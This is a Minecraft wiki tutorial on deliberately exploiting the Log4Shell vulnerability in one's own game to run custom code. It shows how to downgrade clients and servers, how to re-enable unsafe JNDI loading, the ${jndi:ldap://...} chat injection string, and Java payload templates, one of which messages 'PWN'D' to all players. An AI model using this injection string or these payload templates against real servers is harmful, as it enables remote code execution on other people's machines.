Java Edition:Log4Shell

Apache Log4j Logo.png
Command Computer.png
Warning: Computer Damage 
This feature can damage your computer. Perform at your own risk.
Barrier.png
Warning: Game Crash 
This feature can crash your game. Perform at your own risk.
Unsupported Version.png
Warning: Unsupported Version 
This feature uses an unsupported version, for more information visit the Tutorials/Playing Old Versions page. Play at your own risk.
Command Block.png
Warning: Method Granting Cheats 
This method gives access to features that are normally behind the cheats toggle such as commands or creative which may be dangerous. Perform at your own risk.

Minecraft, since 1.7, utilizes the Log4j logging library for logging and to store game logs to the disk. However, unbeknownst to the world at the time, these libraries contained an extremely easy to exploit remote code execution vulnerability. The vulnerability was given the CVE identifier of CVE-2021-44228, and gained the nickname "Log4Shell". This vulnerability was privately disclosed to the Apache Software Foundation on November 24th, 2021, and was released to the public on December 9th, 2021. Mojang promptly pushed updates to all affected client versions by updating the version JSON files fetched by launchers, which specify the libraries Minecraft utilizes. However, dedicated servers from this version range are still vulnerable, as all necessary dependencies are bundled into the server jar upon compilation. The version JSON can also be manually downgraded to allow clients to be vulnerable. As the vulnerability allows execution of any code, nearly every aspect of Minecraft can be modified.

WARNING

BY FOLLOWING THE INSTRUCTIONS ON THIS PAGE, YOU ARE PURPOSEFULLY MAKING YOURSELF VULNERABLE TO A REMOTE ARBITRARY CODE EXECUTION VULNERABILITY!!! THIS MEANS THAT POTENTIALLY ANYONE CAN EXECUTE ANY CODE THEY WANT ON YOUR COMPUTER, INCLUDING MALWARE!!! PERFORM AT YOUR OWN RISK!!!

How Does Log4Shell Work

Vulnerable versions of Log4j would attempt to parse certain expressions present in strings logged by it. For example, if Log4j is provided with the expression Message: ${java:version} within any logging method, then it will be replaced with the Java version the application is running with, as follows: Message: Java version 1.8.0_181. The important expression is the ${jndi:} expression, or the Java Naming and Directory Interface (JNDI). This interface allows for arbitrary information, including class files, to be pulled from remote URLs and loaded into the Java runtime.

The vulnerable JNDI lookup protocols are the Lightweight Directory Access Protocol (LDAP), Lightweight Directory Access Protocol Secure (LDAPS), Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP). While any can be used, this tutorial will use LDAP. Additionally, there is a property within the Java runtime that would determine whether to fully initialize remotely loaded classes or not, which in older versions of Java defaulted to fully initializing, and executing code from, remotely loaded classes.

Vulnerable Java versions (from Oracle) include Java 6u201 and below, Java 7u191 and below, Java 8u181 and below, all Java 9 versions, all Java 10 versions, and Java 11.0.0. Other variants of Java are likely vulnerable in similar version ranges. Newer Java versions may still be used by specifying the Java argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true to revert this change. If this flag is enabled, any code within static code blocks, the <init> method (a.k.a. public YourClass() { ... }), and the getObjectInstance method from the javax.naming.spi.ObjectFactory interface is executed upon fetching a class file from JNDI.

In summary, all one needs to do to run remotely provided code within a vulnerable Minecraft version is to send a chat message in the form of ${jndi:ldap://<url>:<port>/<class>}. <url> can be either a direct IPV4 address (e.g. 127.0.0.1) or a domain name (e.g. example.com), <port> is the LDAP server port, a number between 1 and 65535, and <class> is simply the name of the class provided by the LDAP server. The LDAP server will respond to any request with a redirect to an HTTP server that hosts the actual class file to be downloaded and executed.

An annoyance that versions 13w39a (a 1.7 snapshot) through 17w14a (a 1.12 snapshot) contain is that they used Log4j version 2.0-beta9. 2.0-beta9 contains an unchecked cast of the fetched JNDI object to a String, which if uncaught, as it is from 13w39a to 1.8[test], will crash the game unless the return of the getObjectInstance method is a string. The payload will still be executed regardless of the crash, but it is likely in the user's best interest to avoid crashing the game.

Staying Safe

The simplest method of staying safe while performing this exploit is to disconnect from all networks, will will prevent any and all remote connections. If you have any doubts about your safety while connected to a network, this is a 100% safe option and is the option that you should choose to avoid any issues. If you would like to remain safe while connected to a network, there are a few options.

If you are running a vulnerable client, only join singleplayer worlds and do not open them to LAN. Opening to LAN allows anyone on your local network to potentially join and execute code. If you are directly connected to the internet without a firewall, or port forwarded the port that LAN is opened to, then opening to LAN can even let anyone on the internet join!

If you are running a vulnerable server, there is no way to be completely safe without disconnecting from all networks. If you do not have port forwarding of the server's port enabled, then this will prevent anyone on the internet from connecting, but it will not prevent anyone on your local network from connecting. If you trust your local network, then this might be an acceptable risk to you.

You can test if a server or LAN port is forwarded to the internet by fetching your current public IPV4/6 address from a site such as whatismyip.com (e.g. 100.100.100.100), and then test against that IP and port with a site such as mcsrvstat.us. If your server or LAN world is NOT reachable through the internet, then you are safe from all but those on your local network.

Extended Log4Shell Resources

If you would like to learn more about Log4Shell, then here are some excellent videos on the subject:

Usage

So with all those warnings out of the way, and assuming you still want to go through with this, let's get on with it! First, install Java 8 or newer. Secondly, download and extract the Log4Shell tools here. They contain a very simple HTTP and LDAP server, some downgraded client version JSON files, and a few already created scripts for less Java savvy users. Additional recommended programs include MultiMC for managing downgraded client versions, and Mod Coder Pack / MCP-Reborn for creating payloads for vanilla versions.

You can start the HTTP and LDAP servers with the provided "run-http" and "run-ldap" scripts. Run the ".bat" scripts if you are on Windows, or the ".sh" scripts if you are on Linux. Place any payloads you create into the "scripts" folder. For example, to run the example "SystemOut.class" payload, you would send ${jndi:ldap://127.0.0.1:1389/SystemOut} as a chat message. This specific payload will work on any vulnerable version and simply prints some additional output to the console. All other payloads are designed for a release 1.12 dedicated server. The ports the HTTP and LDAP server are hosted on can be changed by editing the run scripts.

Clients

To create a vulnerable client, a custom version JSON file must be provided to the Minecraft launcher to allow the loading of the vulnerable libraries. Most version pages on the Minecraft Wiki contain the original, vulnerable version JSON files. You can check by searching it for "Log4j". If it reads version "org.apache.logging.Log4j:Log4j-core:2.0-beta9", "org.apache.logging.Log4j:Log4j-core:2.8.1", or "org.apache.logging.Log4j:Log4j-core:2.14.1", then it is a vulnerable version. The next step will depend on the launcher used. Steps for common launchers are below:

Vanilla Launcher

The downgraded JSON file must be edited such that it says that it is a different version, so the launcher does not confuse it with the updated version. One needs to edit the "id" of the JSON to something else (e.g "1.12.2L4S"). Make sure this is NOT the assets file id (i.e. "assetIndex": {"id": "1.12"}). Next, navigate to your ~/.minecraft/versions folder. Create a new folder with the same name entered in the "id" field. Place the JSON file there. Rename the JSON file to the name entered in the "id" field (make sure the .json file extension is still present). Close and re-open the launcher. Navigate to the "Instances" tab, and make sure the Releases, Snapshots, and Modded checkboxes are ticked. Create a new instance, and select the modified version you've created (it will show the name you entered for the "id"). Edit the instance, and open the "More Options" plane. Under the JVM arguments, and add Java argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true to the end of the arguments. Ensure there is a space between the previous argument and this one. The downgraded client instance should now be ready.

MultiMC

Create a new instance with the version you intend to downgrade. Open the instance editing window. On the "Version" tab, click on the "Minecraft" row in the table, and select "Customize" and "Edit" on the right button panel. This will open the instance's version JSON file. Delete the contents of the "libraries": [] array and replace it with the contents of the libraries array in the downloaded JSON. You don't have to format the pasted contents beside ensuring all brackets still close properly. Save and close the text editor. Next, on the "Settings" tab, tick the box by "Java arguments", and enter -Dcom.sun.jndi.ldap.object.trustURLCodebase=true into the box below. The downgraded client instance should now be ready.

Servers

Servers, unlike clients, do not fetch updated resources from Mojang. Instead, they are bundled with all required dependencies upon compile, so all server jars released for vulnerable versions are still vulnerable to Log4Shell. Simply launch the server via the command line (e.g. java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar server.jar). Don't forget -Dcom.sun.jndi.ldap.object.trustURLCodebase=true!

With a vulnerable client or server running, a LDAP server pointing to the HTTP server, and payloads hosted by the HTTP server, all that is left is for the player to send a chat message with the desired payload, such as ${jndi:ldap://127.0.0.1:1389/SystemOut}.

Creating Custom Payloads

To create custom payloads, programming in Java is necessary, as all payloads are just a Java class file. This section will assume some Java knowledge and will not go in depth on how to create any program, but should be enough for those familiar with Minecraft modding to create a custom payload.

The base structure of your class should be something as follows:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Log4Shell implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("Log4Shell says hello!");
        return "";
    }
}

As discussed, anything placed within the getObjectInstance method will be run upon being loaded by Log4j. You can write whatever code you desire in this method, compile it with javac, and you have just created a new payload class file. Interacting with Minecraft is more tricky.

The most annoying but also the most flexible method is to add either the client or the server jar, depending on what version you are targeting, to the compile class path. This will work for any version, but you will have to work with the obfuscated jars. Obfuscated jars have nearly all classes, methods, and fields renamed to nonsense that is hard to program with, and some things may even be impossible due to some things being given names shared with keywords such as "if" or "do".

A less version flexible but easier method is to use the Mod Coder Pack or MCP-Reborn. These programs will decompile Minecraft into human readable names and allow recompiling files written in these human readable names back to obfuscated names and class files compatible with the vanilla game. These programs usually only will work for release versions of the game.

Note that any reflection tricks, such as those shown below, will require the usage of the obfuscated names in the method calls.

In the end, such a payload may look something like this:

import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.concurrent.Callable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import net.minecraft.server.MinecraftServer;

public class ServerTest implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Callable submitToMain = () -> {
            Field managerF = bi.class.getDeclaredField("a");
            managerF.setAccessible(true);
            dh manager = (dh)managerF.get((Object)null);
            Field serverF = dh.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer)serverF.get(manager);

            for (oo player : server.am().v()) {
                player.a.a(new in(new ho("PWN'D"), hf.b));
            }

            server.f = null;
            return null;
        };
        try {
            Field managerF = bi.class.getDeclaredField("a");
            managerF.setAccessible(true);
            dh manager = (dh)managerF.get((Object)null);
            Field serverF = dh.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer)serverF.get(manager);
            if (server == null || !server.w() || server.f != null && server.f.equals("Log4j")) {
                return;
            }

            server.f = "Log4j";
            server.a(submitToMain);
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return "";
    }
}

Obviously, this is the obfuscated version. Here's the unobfuscated version, for reference:

import net.minecraft.command.CommandBase;
import net.minecraft.command.ServerCommandManager;
import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.network.play.server.SPacketChat;
import net.minecraft.server.MinecraftServer;
import net.minecraft.util.text.ChatType;
import net.minecraft.util.text.TextComponentString;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.concurrent.Callable;

public class ServerTest implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Callable submitToMain = () -> {
            Field managerF = CommandBase.class.getDeclaredField("a");
            managerF.setAccessible(true);
            ServerCommandManager manager = (ServerCommandManager)managerF.get(null);
            Field serverF = ServerCommandManager.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer)serverF.get(manager);

            for (EntityPlayerMP player : server.getPlayerList().getPlayerList()) {
                player.connection.sendPacket(new SPacketChat(new TextComponentString("PWN'D"), ChatType.SYSTEM));
            }

            server.currentTask = null;
            return null;
        };

        try {
            Field managerF = CommandBase.class.getDeclaredField("a");
            managerF.setAccessible(true);
            ServerCommandManager manager = (ServerCommandManager) managerF.get(null);
            Field serverF = ServerCommandManager.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer) serverF.get(manager);

            if (server == null || !server.isServerRunning() || (server.currentTask != null && server.currentTask.equals("Log4j"))) {
                return;
            }
            server.currentTask = "Log4j";
            server.callFromMainThread(submitToMain);
        }
        catch (Exception e) {
            e.printStackTrace();
        }

        return "";
    }
}

This particular payload is for 1.12, and will send "PWN'D" in chat to any player online. Some nasty reflection is used to gain access to a somewhat hidden static reference to the currently running MinecraftServer object, which is the main gateway for accessing the game. Some earlier versions contain a static get method for the server, which should be used if available. If the payload is executed on a client, then the server may be fetched through the static get method for the MinecraftClient class, which may be used to access the internal server.

There's a bit of thread magic as well to ensure that the code runs on the main server thread (to avoid concurrency issues) and that the code is only called once (Log4j will initialize the class a few times per chat message due to it being logged to multiple outputs).

Remote Code Execution Dreamland

This section can serve as small glimpse of what one can do with Log4Shell:

Beating the game instantly:

Giving yourself creative mode and cheats:

Instantly equipping yourself with the best gear available:

Instantly create a perimeter for all your mob farm needs:

Carpet bomb your enemies:

Re-add items that were removed from the game:

And just about anything else you can think of! The world of Minecraft is now your oyster!